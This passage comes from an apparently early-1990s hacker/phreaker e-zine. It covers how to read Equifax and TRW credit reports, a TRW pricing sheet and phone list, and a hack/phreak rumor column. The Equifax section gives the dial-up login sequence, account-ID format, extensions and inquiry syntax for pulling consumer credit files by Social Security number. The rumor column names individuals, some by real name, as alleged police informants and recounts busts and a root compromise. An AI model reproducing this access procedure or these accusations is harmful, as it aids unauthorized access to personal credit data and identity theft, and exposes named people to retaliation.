|      Another Person, T-Terminated                                    |
|  ACCOUNT NUMBER-Subjects Account Number With Reporting Agency        |
|SECOND LINE:                                                          |
|  30(01)60(02)90(00)-Number of Times Account Was 30,60,90 Days Late   |
|  07/88-R3,06/88-R2,02/84-R3-Exact Dates of last Two Delinquency      |
|  Rating in Last Seven Years                                          |
|  DLA 4/90-Date of Last Activity on the Account                       |
+----------------------------------------------------------------------+

                                  ARCO-PLUS
                                  ---------

Extension: F.

ARCO-PLUS-  This is a very similar type of credit report.  The form has
most of the same headings as the above report.  Some of the information
in the report is located in different areas and there are a few additions.
Here are the additions:

* SUM COLL-YES---File Has Collection Items
INQUIRY ALERT--Alert Appears if 3 or More Inquiries Within the Past 90 Days.

********COLLECTION ITEMS*****
ECOA LIST     AMT       DLA     AGENCY      CLIENT      SERIAL  BAL   RPTD
I     12/89   $532      11/89   401YC364  Dr White       32452 $200   04/90
*****************************
+----(Collection Items)------------------------------------------------+
|  ECOA-Equal Credit Opportunity Act Designator                        |
|  LIST-Date Assigned to Collection Agency                             |
|  AMT-Total Amount of Collection                                      |
|  DLA-Date of Last Activity (Payment to Creditor)                     |
|  AGENCY-Collection Agency I.D. Number                                |
|  CLIENT-Credit Grantor Name or Industry                              |
|  SERIAL-Account Serial Number                                        |
|  BAL-Balance as of Date Reported                                     |
|  RPTD-Date Reported                                                  |
+----------------------------------------------------------------------+

Addition to Trade Information
MAX/DEL--Most Recent, Highest Delinquency Beyond the 24 Month History
  24 Month History-Rate History for 24 Months Prior to Current Status.
  Slash (/) Separates Two 12 Month Periods (Read From left to Right)
  *=No Delinquency Reported This Month
GRAND TOTAL-Grand Totals for Limit, High Credit, Balance, Past Due, and Terms.

                                   SAFE-SCAN
                                   ---------

A Safe-Scan inquiry automatically checks through the credit file to
determine if irregular or unusual patterns exist.  It examines the name,
address, employment history, telephone number and Social Security number
contained in each inquiry.

Safe-Scan is a "red Flag" system, designed to alert you to potential
problems such as mail drop/prison/previously misused address.  And
Safe-Scan is a "living" database, one that is constantly growing through
information-gathering.

Safe-Scan is the Profiled Address warning.  By monitoring every inquiry
coming through the system, Safe-Scan warns you when, from a single
address, someone is using different names or different Social Security
numbers to apply for credit or employment.  Another is True Name Fraud,
which warns you if someone is attempting to obtain credit by stealing
real identities of innocent consumers.

                                    DTEC
                                    ----

DTEC is a service that allows users of Equifax to make inquiries via
     Social Security Number, simple as that.  It allows for more accurate
     inquiry entry.

                             On-Line Directory
                             -----------------
Extension: D

The On-Line Directory contains the current phone numbers of creditors
and inquiries which appear at the bottom of the credit report.

                              Connection Process
                              ------------------

Connection is established by several returns, then a <CTRL-S> to start
the login process, prompting "(CB) Please Sign-on."

The account should fit the format of:
xxxyyxx-yx or xxxyyxxxx-yx  (Y=Letter X=Number)

There are extensions that you may add on to your account to pull
different types of transactions.  The format is as such..

IDnumber,password,user,extensions.

One extension that you will always want to add on is Z.  it allows you
to view the companies name in the firm/ID section, instead of a
alpha-numeric representation.

For example, if I wanted to pull an Arcofile-Plus report with On-Line
Directory assistance I would enter my account like:

XXXYYXXXX-YX,James,DFZ.

Extensions:
D: On-Line Directory
F: Arcofile-Plus
Z: View w/names in FIRM/ID Field

After entering the account information you should receive the prompt:

A-XXX PROCEED:

The X's represent a location where the database is located.  here is a
listing.

WA 980-994      OR 970-979      CA 900-966      ID 832-838
UT 840-838      AZ 850-865      MT 590-599      WY 820-831
CO 800-816      NM 870-884      ND 580-588      SD 570-577
NE 680-693      KS 660-679      OK 730-749      TX 750-799
MN 550-567      IA 500-528      MO 630-658      AR 716-729
LA 700-714      WI 530-549      IL 600-629      MS 386-397
MI 480-499      OH 430-458      KY 400-427      TN 370-385
AL 350-369      OH 430-458      GA 300-319      WV 247-268
ME 039-049      NY 090-149      PA 150-196      VA 220-246
NC 270-289      SC 290-299      FL 320-349      NH 030-038
VT 050-059      MA 010-027      RI 028-029      CT 060-069
NJ 070-089      DE 197-199      MD 206-219      DC 200-205
HI 995-999      VI 008          GUAM   969      PR 006,007,009

                          Processing Inquiries
                          --------------------

There are two ways in which I currently know how to process inquiries
either through DTEC, or through Name & Current Address Lines.

-----Name & Current Address Inquiry------
NM-last,first.<CR>
CA-####,streetname,,city,state,zip.<CR>
<CTRL-S>

-----DTEC Inquiry-----
DTEC-XXX-XX-XXXX.<CR>
<CTRL-S>


       K L U D G E / S C A N T R O N I C S   P U B L I C A T I O N S


=============================================================================
                    ( 7 ) TRW COMMERCIAL CREDIT REPORTS
=============================================================================

                   ======================================
                   =                                    =
                   =                                    =
                   =           TRW COMMERCIAL           =
                   =                                    =
                   =               CREDIT               =
                   =                                    =
                   =              REPORTS               =
                   =                                    =
                   =             WRITTEN BY:            =
                   =                                    =
                   =  KLUDGE/SCANTRONICS PUBLICATIONS!  =
                   =                                    =
                   ======================================

     This is the second file on how to read a credit report.  This one focuses
on Commercial/Business credit reports that are released from TRW.  I will be
releasing a similar file on individual credit reports through TRW, and
additional services if possible.

PAGE   RPT DATE     TIME     PORT    TYPE
  1      DEMO       DEMO     T140    TRAINING                030
-------------------------------------------------------------------------------
CROCKER INDUSTRIES                       TRW FILE NUMBER:   000653969
100 MAIN ST                              FILE ESTABLISHED PRIOR JAN. 1977
PHOENIX AZ 85026
-------------------------------------------------------------------------------
                                      * A C C O U N T   S T A T U S *


 *** TRADE PAYMENT INFORMATION ***
 ---------------------------------
+-----(Historical Payment Guide)----------------------------------------------+
| Six Month Account Balance Range:  Total Amount owed by the firm for the past
|
|                                   six months and the current total.
|
| Highest Credit Amount Extended:  Largest individual amount of credit extended
|
|                                  to the firm in the past 12 months and the
|
|                                  median amount.
|
| Industry Payment Comparison:  Six month historical payment prediction
|
|                               and comparison of the firm to its industry.
|
| Payment Trend Indication:  Analysis of the firm's payment behavior changes
|
|                            during the past six months.
|
| Significant Derogatory Data: Summary of sufficient public record &
|                              other data
+-----------------------------------------------------------------------------+
P BUSINESS  DATE  DATE  PAYMENT   RECENT            DAYS BEYOND TERMS COMMENTS
R CATEGORY  REPD  LAST   TERMS     HIGH   ACCOUNT CUR 1-  31- 61-
O                 SALE            CREDIT  BALANCE     30  60  90  91+
F                                    $       $     %   %   %   %   %
-CHEMICALS  11-87       N30         4000     1800  67  22  11         SOLD 10YR
+ELEC EQUIP 01-88       2/10PRX    13500     5900 100
+FAB METALS 09-87       DISC        3500     3500 100
-FACTOR     11-87       2/10N30     2500      600  55   9  18   9   9 SOLD  1YR
+FACTOR     11-87       N30         8500     8300  85  12   1   1   1
+MACHINERY  01-88       2/10N30    10000     6100 100                 COLLECT
+MACHINERY  09-87                   5500     <100 100                 SECURED
+PREC INSTR 01-88       VARIED     40000    34600  92   4   1   1   2
=PREC INSTR 11-87       NET      +100000    30800  59  39   2         PAYS-SLO
+RUBR&PLAST 01-88       NET         4100     3300 100                 ADS    7
                                      * A C C O U N T   S T A T U S *
P BUSINESS  DATE  DATE  PAYMENT   RECENT            DAYS BEYOND TERMS COMMENTS
R CATEGORY  REPD  LAST   TERMS     HIGH   ACCOUNT CUR 1-  31- 61-
O                 SALE            CREDIT  BALANCE     30  60  90  91+
F                                    $       $     %   %   %   %   %

 ALL TRADE LINE TOTAL:      10 ACCOUNTS     94600  81  16   1   1   1
 ---------------------

 PAYMENT TRENDS:
 ---------------
 +-----(Payment Trends)-------------------------------------------------------+
 |  Uses continuously reported trade lines to indicated new term changes in   |
 |  payment trends.                                                           |
 +----------------------------------------------------------------------------|
  30 DAYS AGO TOTALS WERE:   8 ACCOUNTS     91100  80  17   1   1   1
  60 DAYS AGO               10              94600  81  16   1   1   1
  90 DAYS AGO               10              94600  81  16   1   1   1
 120 DAYS AGO               10              93500  83  16   1
 150 DAYS AGO               10              94300  81  16   1   1   1
 180 DAYS AGO                8              90700  80  17   1   1   1
 TRW QUARTERLY CREDIT PATTERN
 ----------------------------
 4-Q-87 (OCT-DEC)            8 ACCOUNTS     91100  80  17   1   1   1
 3-Q-87 (JUL-SEP)           10              94300  81  16   1   1   1
 2-Q-87 (APR-JUN)            4              49900  93   3   2   1   1
 1-Q-87 (JAN-MAR)            8              90200  81  17   1       1
 4-Q-86 (OCT-DEC)            8              91100  80  17   1   1   1
 TRW CURRENT PAYMENT GUIDE:   ===> F1S <===
 --------------------------
 ACCOUNT BALANCE RANGE      :      F = $75,000 - $99,999
 COMPANY PAYMENT PERFORMANCE:      1 = FASTER THAN INDUSTRY
 PAYMENT TREND INDICATOR    :      S = STABLE
**CONTINUED**  COPYRIGHT(C) 1988 TRW INC.

TRW BUSINESS PROFILE

PAGE   RPT DATE     TIME     PORT    TYPE
  2      DEMO       DEMO     T140    TRAINING                030
-------------------------------------------------------------------------------
CROCKER INDUSTRIES                       TRW FILE NUMBER:   000653969
100 MAIN ST                              FILE ESTABLISHED PRIOR JAN. 1977
PHOENIX AZ 85026
-------------------------------------------------------------------------------
*** INQUIRY INFORMATION ***
---------------------------
INDUS SUPL 10-87 INQUIRY
AUTO PARTS 11-87 INQUIRY
ELEC SUPLR 11-87 INQUIRY
BANK       01-88 INQUIRY
COMMUN EQP 01-88 INQUIRY
SERVICES   01-88 INQUIRY

*** PUBLIC RECORD INFORMATION ***
---------------------------------
+-----(Public Record Information)---------------------------------------------+
|  Details of bankruptcies; federal, state and count tax liens; judgements;   |
|  attachment liens and bulk transfers.                                       |
+-----------------------------------------------------------------------------+
 UCC PROFILE
 -----------
 UCC-FILED:   07-02-84 J37969
 SECURED PTY: THE BENJ FRANKLIN LEASING CO INC, OR 97201
 ASSIGNEE:    FIRST INTERSTATE BK, BX 3438, PTLD, OR 97208
 COLLATERAL:  CERT DESCR COMPUTER EQUIP, PRODUCTS

 UCC-FILED:   07-19-84 J40849
 SECURED PTY: THE BENJ FRANKLIN LEASING CO INC, OR 97201
 ASSIGNEE:    FIRST INTERSTATE BK, BX 3438, PTLD, OR 97208
 UCC-ASSIGN:  08-13-85 J55461A
 ORIG FILING: 10-17-84 J55461
 SECURED PTY: FIRST INTERSTATE BK, BX 3438, PTLD, OR 97201
 ASSIGNEE:    THE BENJ FRANKLIN LEASING CO INC, OR 97201
 COLLATERAL:  MACHINERY, PRODUCTS

 *** STANDARD AND POOR'S INFORMATION ***
+-(Summary of Business Background---------------------------------------------+
| Contains key financial information on publicly and privately held firms.    |
|    Description of products and services offered, including SIC codes.       |
|    Approximate annual sales.                                                |
|                                                                             |
|    Years in business.                                                       |
|    Name of company's accounting firm and primary bank.                      |
|    Names and titles of key officers.                                        |
|    Balance sheet contains fiscal year and two years prior.                  |
+-----------------------------------------------------------------------------+
     BALANCE SHEET FOR FISCAL YEAR ENDING DEC 31
     DATA CURRENT THROUGH 01-20-88  ($THOUSANDS)
                                        1986        1985        1984
CASH AND EQUIVALENT                       39          32         114
RECEIVABLES - NET                        548       2,090         981
INVENTORY                                740       2,112       1,237
OTHER CURRENT ASSETS                      52         144       1,106
TOTAL CURRENT ASSETS                   1,379       4,378       3,438
FIXED ASSETS - NET                     1,068       2,610       1,408
INVESTMENTS                              258         105         211
OTHER ASSETS                             102         330         158
TOTAL ASSETS                           2,807       7,423       5,215
DEBT DUE IN 1 YEAR                       272         246         475
NOTES PAYABLE                            340       2,273       1,331
ACCOUNTS PAYABLE                         706       1,313         929
TAXES PAYABLE                              0           0           4
OTHER CURRENT LIABILITIES                196         472         223
TOTAL CURRENT LIABILITIES              1,514       4,304       2,962
LONG TERM DEBT                           693       1,837         833
OTHER LIABILITIES                          0           0          29
NET WORTH                                600       1,282       1,391
TOTAL LIAB AND NET WORTH               2,807       7,423       5,215
**CONTINUED**  COPYRIGHT(C) 1988 TRW INC.

TRW BUSINESS PROFILE
PAGE   RPT DATE     TIME     PORT    TYPE
  3      DEMO       DEMO     T140    TRAINING                030
-------------------------------------------------------------------------------
CROCKER INDUSTRIES                       TRW FILE NUMBER:   000653969
100 MAIN ST                              FILE ESTABLISHED PRIOR JAN. 1977
PHOENIX AZ 85026
-------------------------------------------------------------------------------

+-OPERATING STATEMENT -Provides profit/loss statement for fiscal & 2YRS prior-+
  OPERATING STATEMENT FOR FISCAL YEAR ENDING DEC 31 ($THOUSANDS)
  DATA CURRENT THROUGH 01-20-88                     1986      1985    1984
NET SALES                                          3,414    30,439   4,424
COST OF GOODS SOLD                                 2,698    27,415   3,084
GROSS INCOME ON SALES                                716     3,024   1,340
EXPENSES                                           2,582     3,167   1,531
PRE-TAX INCOME                                    -1,866      -143    -191
TAXES                                               -402       -35     -81
AFTER TAX INCOME                                  -1,464      -108    -110
EXTRAORD INC & DISCNT'D OPS                          781         0       0
NET INCOME                                          -683      -108    -110

  CRITICAL DATA AND RATIOS FOR FISCAL YEAR ENDING DEC 31 ($THOUSANDS)
+---(Critical Data and Ratios)------------------------------------------------+
|  TRW calculates critical ratios for the most recently reported fiscal
|
|  year and two years prior.
|
+-----------------------------------------------------------------------------+
   DATA CURRENT THROUGH 01-20-88     INDUSTRY       1986      1985      1984
TANGIBLE NET WORTH                  AVERAGES         600     1,282     1,391
NET WORKING CAPITAL                 SIC 2400        -135        74       476
CURRENT RATIO(TIMES)                     2.2          .9       1.0       1.2
% TOTAL DEBT TO TANG NW                237.6       367.8     479.0     274.9
% CURRENT DEBT TO TANG NW              142.6       252.3     335.7     212.9
% AFTER TAX INC TO TANG NW             -23.1      -244.0      -8.4      -7.9
% AFTER TAX INC TO NET SALES            -3.8       -42.9     -  .4      -2.5
NET SALES TO INVENTORY (TIMES)           6.8         4.6      14.4       3.6
CGS TO INVENTORY (TIMES)                 5.1         3.6      13.0       2.5
AVG DAYS SALES OUTSTANDING(DAYS)        49.3        58.6      25.1      80.9
AUDITOR OPINION                                QUALIFIED   QUALIFIED  QUALIFIED
FTNOTE:84,85,86-DATA REFLECTS A RECLASSIFICATION OF CERTAIN ITEMS
FTNOTE:84,85,86-COST OF GOODS SOLD REDUCED BY NON-ALLOCATED DEPRECIATION
INDUSTRY AVERAGES ARE BASED ON 20 COMPANIES
 *** BANK INFORMATION ***
 ------------------------
BANK-BORROWER-LARCHMONT NAT'L BANK,1130 7TH STREET,PHOENIX,AZ
     (602)555-8231
BANK-NAT'L BANK OF SAN MARINO,3471 LOS COYOTE PASS,SAN MARINO,AZ
     (602)555-3726

THE INFORMATION HEREIN IS FURNISHED IN CONFIDENCE FOR YOUR EXCLUSIVE USE
FOR LEGITIMATE BUSINESS PURPOSES AND SHALL NOT BE REPRODUCED. NEITHER
TRW INC., NOR ITS SOURCES OR DISTRIBUTORS WARRANT SUCH INFORMATION NOR
SHALL THEY BE LIABLE FOR YOUR USE OR RELIANCE UPON IT.
                                               COPYRIGHT(C) 1988 TRW INC.

    I have also included the price listing for any of you who were curious.

TRW Commercial Credit Reports
Rose Canyon Business Park
4907 Morena Blvd.. # 17
San Diego, CA  92117

Basic Annual Service Subscription
---------------------------------

#            Contributor     Non-Contributor
25-49          $17.15          $18.15
50-99           16.96           17.70
100-174         16.25           17.55
175-249         15.75           17.40
250-499         14.20           16.05
500-749         13.45           15.30
750-999         13.35           15.20
1000-2499       13.20           15.07

Non-Subscriber  24.20           27.50
Access Charge    2.40            4.40

Business Profile Report
    Executive Summary                   Days Beyond Term Score
    Historical Payment Guide            Public Record Information
    Key Facts Information               Banking Relationship

Small Business Advisory Report (SBAR) $10.90
(Personal Credit report on owners of small businesses)

Trade Payment Guide
    Identifying Information             Years in File
    Days Beyond Term Score              Public Record Indicator

1 Region $545.00                        2 Regions $890.00
3 Regions $1220.00                      4 Regions $1335.00

Call back: Verbal Summary of Phoned-in Inquiries: $4.00
FAX:       $5-10 Dollars
Other Charges  :

    Here are numerous numbers for TRW.  They do not all belong to the credit
division.  I added them for those of you who would like to research TRW
further, or who deem it necessary to call.

TRW
 1 800 452-2987 (U) [OR]
TRW
 1 800 432-1327 (B)  HOLLYWOOD, FL [FL]
TRW
 1 800 638-3418 (B)  BALTIMORE, MD [DC DE NJ NY 212 516 718 914 PA VA WV]
TRW
 1 800 638-7011 (B)  COLUMBIA, MD  [MD]
TRW
 1 800 282-6758 (U)  NORCROSS, GA  [GA]
TRW
 1 800 642-2454 (U)  BOTHELL, WA   [WA]
TRW APPRAISAL SERVICES
 1 800 458-9977 (U)  SAN DIEGO, CA [AZ CA NM NV OR UT]
TRW BEARINGS DIVISION
 1 800 672-7000 (U)  ROBBINSVILLE, NJ [US]
TRW CHILTON
 1 800 526-4882 (U)  DAVENPORT, IA  [US]
TRW COMPUTER RECONDITIONING SERVICE & PARTS
 1 800 325-2707 (B)  BALDWIN PARK, CA [US ex CA]
TRW CREDIT
 1 800 542-2314 (U)  BOTHELL, WA [WA]
TRW CREDIT DATA
 1 800 447-9173 (U) [CO]
TRW CREDIT DATA
 1 800 962-0520 (U) [CO]
TRW CREDIT DATA DIVISION
 1 800 962-9871 (U) [CO]
TRW CREDIT DATA DIVISION OF TRW
 1 800 628-3489 (U) [CT]
TRW CREDIT DATA DIVISION OF TRW
 1 800 356-2325 (U)  BRIDGEPORT, CT [CT]
TRW CREDIT UNION
 1 800 458-9904 (U)  REDONDO BEACH, CA [US ex CA]
TRW CUSTOMER
 1 800 792-3515 (U) [IN]
TRW CUSTOMER SERVICE
 1 800 362-4485 (U)  WALTHAM, MA [MA]
TRW CUSTOMER SERVICE
 1 800 354-4848 (C)  OAKLAND, CA [CA]
TRW CUSTOMER SERVICE DIVISION
 1 800 432-1879 (B)  GRAND PRAIRIE, TX [US]
TRW CUTTING TOOLS DIVISION
 1 800 544-7732 (B)  AUGUSTA, GA [GA]
TRW FASTENERS DIVISION
 1 800 327-8361 (U)  CAMBRIDGE, MA [US ex MA]
TRW IMAGE PROCESSING
 1 800 637-6812 (U)  SACRAMENTO, CA [CA]
TRW INCORPORATED RPLCMNT PRTS DVSN OF CSTMR SRVC
 1 800 352-2273 (D)  INDEPENDENCE, OH [US ex OH]
TRW MEDICAL ELECTRONICS
 1 800 446-6714 (U)  MARLBORO, MA [CT MA NH RI]
TRW MICROWAVE
 1 800 822-5864 (B)  SUNNYVALE, CA [US]
TRW MORTGAGE CREDIT CUSTOMER SERVICE
 1 800 633-8809 (U)  MIAMI, FL [US]
TRW NELSON STUD WELDING DIVISION
 1 800 831-7425 (C)  SAN LEANDRO, CA [US ex CA]
TRW PLEUGER
 1 800 438-0216 (B)  STATESVILLE, NC [US ex NC]
TRW REAL ESTATE INFORMATION
 1 800 872-1288 (U)  ORANGE, CA [CA]
TRW REAL ESTATE LOAN SERVICE
 1 800 343-8745 (U)  WHEATON, IL [US]
TRW REAL ESTATE LOAN SERVICE
 1 800 458-7357 (U)  TREVOSE, PA [US]
TRW REAL ESTATE LOAN SERVICES
 1 800 321-1890 (U)  CLEVELAND, OH []
TRW REAL ESTATE LOAN SERVICES
 1 800 228-7357 (U)  CLEVELAND, OH [US]
TRW REAL ESTATE LOAN SERVICES
 1 800 537-9320 (B)  ANAHEIM, CA [US]
TRW REAL ESTATE LOAN SERVICES
 1 800 842-2030 (U)  TREVOSE, PA [PA]
TRW REAL ESTATE LOAN SERVICES
 1 800 462-0750 (U)  WARREN, OH [AK OH]
TRW REAL ESTATE LOAN SERVICES
 1 800 922-7183 (B)  RICHMOND, VA [VA]
TRW REAL ESTATE LOAN SERVICES
 1 800 451-6887 (U)  MIAMI, FL [FL]
TRW REAL ESTATE LOAN SERVICES
 1 800 772-1720 (U)  SUITE 109, [MS]
TRW REAL ESTATE LOAN SERVICES
 1 800 321-1891 (U)  CLEVELAND, OH [US ex OH]
TRW REAL ESTATE LOAN SERVICES
1 800 962-2214 (B)  JACKSON, MS [MS]
TRW REIS
 1 800 248-4879 (U)  RIVERSIDE, CA [US CD]
TRW RELS
 1 800 448-9538 (U)  SOUTHFIELD, MI [US]
TRW RELS
 1 800 843-0266 (U)  DEDHAM, MA [US]
TRW RELS
 1 800 334-4594 (U)  SOUTHFIELD, MI [US]
TRW RELS
 1 800 845-4331 (U)  BROOKLYN, NY [US]
TRW SYSTEMS FEDERAL CREDIT UNION
 1 800 262-1545 (U)  REDONDO BEACH, CA [CA]
TRW SYSTEMS FEDERAL CREDIT UNION
 1 800 421-6818 (U)  REDONDO BEACH, CA [US ex CA]
TRW TITLE INSURANCE
 1 800 872-4349 (U)  AUSTIN, TX [US]
TRW TITLE INSURANCE OF NEW YORK
 1 800 848-1801 (U)  HACKENSACK, NJ [US]
TRW TRANSPORTATION
 1 800 255-6116 ()  FARMINGTON HILLS, MI [US]
TRW/REAL ESTATE INFORMATION SERVICES
 1 800 445-5201 (C)  ENGLEWOOD, CO [US]

    I will be releasing a file on the individual credit as soon
as it becomes available to me.  It should be coming in the mail soon,
so it will be released shortly thereafter.

    Till then,

         HASTA,    RASTA,    PARTY TIL' YA PUKE!!!!

        K L U D G E / S C A N T R O N I C S   P U B L I C A T I O N S


=============================================================================
                        ( 8 ) HACK/PHREAK NEWS & RUMORS
=============================================================================

        ============================================================
        =                 HACK/PHREAK NEWS & RUMORS                =
        ============================================================

Rumor has it that New York Telephone will be changing the ANAC for New York
(Currently 958)
-----------------------------------------------------------------------------
The Lost City Of Atlantis will be going back up again. It will have more
than three nodes!
-----------------------------------------------------------------------------
Recently we received this note on our bulletin board (Realm Of Chaos), it
would have made us nervous if it weren't for:

1. They left a number that does not belong to MCI.
2. There is no employee listed as Ted Jahnsen at MCI.

This goes to show you just how low some people will go. Hope you get as good
a laugh from it as we did!

re: Toll Fraud Abuse Cases
4/29/91 5:58 pm EST
Stem: Office of Communications/Data Integrity & Auditing

Hello.  My name is Ted Jahnsen and I am a representative at MCI
telecommunications in Texas.  My reason for calling you on this bulletin board
system stems from a number of unauthorized calls coming from this installation
address in the near-present and not-so distant past.  Aside from that, there
are also numerous attempts to call this system using MCI and subsidiary
long-haul lines, with illegitimate calling cards, to this system.  I have made
a note to the Fraud Control and Communications office here in Texas and they in
turn will contact your local office in New York.  NYNEX has been very
cooperative in providing us with the information we need in order to bring
charges upon you, most specifically US Code 1030 which involves wire fraud and
similar offenses.  Please note, a racketeering charge is also possible being
that you may have committed 2 or more violations in accordance with this
statute.

For some time we have also been aware of pro-hacker related activities on this
system as well.  We URGE you not to continue it unless you find it your
court.

Thanks for you time.

We thank you ahead of time for your cooperation,

Ted Jahnsen
(MCI West Division Communications Control and Auditing)
-----------------------------------------------------------------------------
It has now been confirmed, DAVID LIGHTMAN (NPA 214) is a NARC.
This information was verified when he threatened a member of N.A.S.T.Y.
(JAMES BROWN) with calling up his friend at the Secret Service office and
giving him his full information. (Besides, wouldn't you think a guy who ran
a board called 'HACKERS' was a NARC anyway???)  After JAMES BROWN politely told
him to 'FUCK OFF' he then proceeded in calling the Secret Service.
-----------------------------------------------------------------------------
It is a confirmed fact that Everlast (Julio Alverez NPA 305) is a narc.  He
has, on numerous occasions turned in people while on three-way with others.
-----------------------------------------------------------------------------
Word is out on the upcoming raids stemming from the current investigations
involving the abuse of BT-Tymnet.  The investigation has an extremely large
number of agencies working together:  CIA, FBI, SS, Army Intelligence and
several Bell companies are rumored to be working closely with Tymnet
security to pinpoint the person(s) involved.  The focus is believed to be
on individuals in or around New York State.
-----------------------------------------------------------------------------
New York Telephones INFO-LOOK Gateway will soon be discontinued.
Court rulings related to the breakup of AT&T prohibit NYNEX and the six
other regional Bell Operating Companies from providing their own information
services or regulating the content of the services they transport on their
networks.  The Bell operating companies are seeking to overturn these
restrictions preventing it from ensuring the quality and consistency of
services offered on INFO-LOOK.  (Censorship perhaps?)
-----------------------------------------------------------------------------
The rumors of a new-revised Legion of Doom have been thoroughly denied by
still-surviving ex-member Erik Bloodaxe.  Bloodaxe says that he had toyed
with the idea of reforming the group with many of the still remaining active
members, with several new additions.  The group was to include:
Erik Bloodaxe, Skinny Puppy, Prime Suspect, Jester Sluggo, Phantom Phreaker,
Doom Prophet, Doc Holliday, Malefactor, Agent Steal, Epsilon, Pain Hertz,
and Parmaster.  The group was never formed due to a number of reasons.
Bloodaxe assures everyone that the Legion of Doom is gone, and any rumors to
the contrary are completely false.  Any people claiming to be in any new LOD
are liars and should not be believed.  Bloodaxe added that he wishes people
would stop 'flogging a dead horse' and lay the group to rest.
-----------------------------------------------------------------------------
JAMES BROWN received notice from BAGHEAD that he has been busted.  All his
notes and computer equipment were confiscated.
-----------------------------------------------------------------------------
An as of yet unidentified hacker known as Dr. Doom is plaguing the Internet
Relay Chat (IRC) with rather childish antics.  This person has gained root
on the GNU system POGO (pogo.gnu.ai.mit.edu) and is changing the system's
message of the day to read various things having to do with "the new LOD."
Because of the nature of the GNU system, and Richard Stallman's abhorrence
to computer security, system administrators refuse to investigate the
problem, but are becoming annoyed at having to continually change
/etc/motd to its original message.  Sources say that if the problem persists
GNU may rethink its open policy somewhat, since deliberate abuse of the
system's non-security defeats the nature of trust trying to be demonstrated
in having such a system.
-----------------------------------------------------------------------------